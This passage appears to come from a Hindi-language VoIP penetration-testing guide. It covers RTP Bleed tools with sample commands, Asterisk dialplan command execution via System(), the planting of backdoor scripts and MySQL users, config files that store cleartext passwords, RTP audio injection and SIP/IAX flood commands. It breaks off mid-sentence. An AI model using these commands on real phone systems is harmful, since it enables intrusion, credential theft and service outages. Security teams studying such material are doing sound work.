अधिक जानकारी के लिए https://www.rtpbleed.com/ देखें
- sippts से
rtpbleed.py
:** यह RTP Bleed सुरक्षा दुर्बलता का पता लगाता है और RTP स्ट्रीम भेजता है।
python3 rtpbleed.py -i 10.10.0.10
rtcpbleed.py
यह sippts से है। यह RTP Bleed सुरक्षा कमजोरी को पहचानता है और RTP स्ट्रीम भेजता है।
python3 rtcpbleed.py -i 10.10.0.10
rtpbleedflood.py
यह sippts से हैं।: RTP Bleed सुरक्षा कमजोरी का उपयोग करके RTP स्ट्रीम भेजें।
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
rtpbleedinject.py
यह sippts से हैं:** RTP Bleed दुरुपयोग करके RTP स्ट्रीम (ऑडियो फ़ाइल से) भेजें।
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
RCE
एस्टेरिस्क में आप किसी तरीके से एक्सटेंशन नियम जोड़ने और उन्हें रीलोड करने की क्षमता प्राप्त करते हैं (उदाहरण के लिए, किसी भी संकटग्रस्त वेब प्रबंधक सर्वर को संक्रमित करके), System
कमांड का उपयोग करके RCE प्राप्त किया जा सकता है।
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
एक ऐसा आदेश है जिसे शैल
कहा जा सकता है और इसे उपयोग किया जा सकता है सिस्टम
की बजाय सिस्टम कमांडों को निष्पादित करने के लिए यदि आवश्यक हो।
{% hint style="warning" %}
यदि सर्वर सिस्टम
कमांड में कुछ विशेष वर्णों का उपयोग अनुमति नहीं दे रहा है (जैसे Elastix में), तो यह जांचें कि क्या वेब सर्वर किसी तरह से सिस्टम के अंदर फ़ाइलें बनाने की अनुमति देता है (जैसे Elastix या trixbox में) और इसे उपयोग करके एक बैकडोर स्क्रिप्ट बनाएं और फिर उस स्क्रिप्ट को निष्पादित करने के लिए सिस्टम
का उपयोग करें।
{% endhint %}
दिलचस्प स्थानीय फ़ाइलें और अनुमतियाँ
sip.conf
-> SIP उपयोगकर्ताओं का पासवर्ड संग्रहीत करता है।- यदि Asterisk सर्वर रूट के रूप में चल रहा है, तो आप रूट को कंप्रोमाइज कर सकते हैं
- mysql रूट उपयोगकर्ता के पासवर्ड नहीं हो सकता है।
- इसका उपयोग एक नया mysql उपयोगकर्ता बैकडोर के रूप में बनाने के लिए किया जा सकता है
FreePBX
amportal.conf
-> वेब पैनल प्रशासक (FreePBX) का पासवर्ड संग्रहीत करता हैFreePBX.conf
-> डेटाबेस तक पहुंच करने के लिए उपयोग किए जाने वाले उपयोगकर्ता FreePBXuser का पासवर्ड संग्रहीत करता है- इसका उपयोग एक नया mysql उपयोगकर्ता बैकडोर के रूप में बनाने के लिए किया जा सकता है
Elastix
Elastix.conf
-> mysql रूट पासवर्ड, IMAPd पासवर्ड, वेब व्यवस्थापक पासवर्ड जैसे कई पासवर्ड साफ पाठ में संग्रहीत करता है- कई फ़ोल्डर्स (यदि रूट के रूप में नहीं चल रहा है) कंप्रोमाइज़्ड एस्टेरिस्क उपयोगकर्ता के नाम होंगे। इस उपयोगकर्ता को पिछली फ़ाइलें पढ़ सकती हैं और समाकृति को नियंत्रित करती हैं, इसलिए जब निष्पादित होता है, वह अन्य बैकडोर बाइनरी को लोड करने के लिए एस्टेरिस्क को बना सकता है।
RTP इंजेक्शन
rtpinsertsound
(sudo apt install rtpinsertsound
) और rtpmixsound
(sudo apt install rtpmixsound
) जैसे उपकरणों का उपयोग करके बातचीत में एक .wav
डाला जा सकता है।
या आप http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ से स्क्रिप्ट का उपयोग करके बातचीतों की स्कैनिंग (rtpscan.pl
), एक .wav
को बातचीत में भेजने (rtpsend.pl
) और बातचीत में शोर डालने (rtpflood.pl
) के लिए कर सकते हैं।
DoS
VoIP सर्वर में DoS प्राप्त करने के लिए कई तरीके हैं।
- sippts से
sipflood.py
: **SipFlood लक्ष्य को असीमित संदेश भेजता है python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v
- IAXFlooder: Asterisk द्वारा उपयोग किए जाने वाले IAX प्रोटोकॉल को DoS करें
- inviteflood: UDP/IP पर SIP/SDP INVITE संदेश भेजने के लिए एक उपकरण।
- rtpflood: कई ठीक रूप से बनाए गए RTP पैकेट भेजें। इसे पहले स्निफ करके उपयोग हो रहे RTP पोर्ट्स को जानना आवश्यक है।
- SIPp: SIP ट्रैफ़िक विश्लेषण और उत्पन्न करने की अनुमति देता है। इसलिए इसे भी DoS के लिए उपयोग किया जा स